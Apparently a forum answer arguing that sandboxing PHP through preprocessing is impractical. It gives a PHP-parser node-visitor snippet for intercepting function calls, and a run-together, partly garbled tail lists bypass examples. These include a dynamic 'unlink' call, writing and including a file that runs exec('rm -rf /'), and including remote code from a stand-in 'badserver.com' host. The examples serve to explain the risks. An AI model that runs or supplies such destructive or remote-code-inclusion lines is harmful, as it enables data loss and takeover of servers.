Don't, you'll only shoot yourself in the foot.
PHP is a highly dynamic language. You probably can't even imagine what possibilities there are to execute code. I had some attempts at preprocessing PHP for sandboxing and from my experience I can tell you that it is very hard to account for all cases. To get a rough overview of what you are facing, look at the exploitable functions list, which was created over time and still isn't perfect.
To answer your actual question, I maintain a PHP parser written in PHP. You could intercept all function calls by defining a node visitor looking roughly like this:
class MyNodeVisitor extends PHPParser_NodeVisitorAbstract {
public function enterNode(PHPParser_Node $node) {
if ($node instanceof PHPParser_Node_Expr_FuncCall) {
if ($node->name instanceof PHPParser_Node_Name) {
// static function name
} else {
// dynamic function name
}
}
}
}
$fn = "unlink"; $fn();or other obfuscated calls. Neither will the tokenizet approach (which is slightly more complex, due to filtering class methods actually needs a mini parser).eval(): That's just another name forinclude(). See also exploitable php functions.file_put_contents('nasty.php', 'ex' . 'ec("rm -rf /");'); include 'nasty.php';or eveninclude 'http://badserver.com/nasty.php'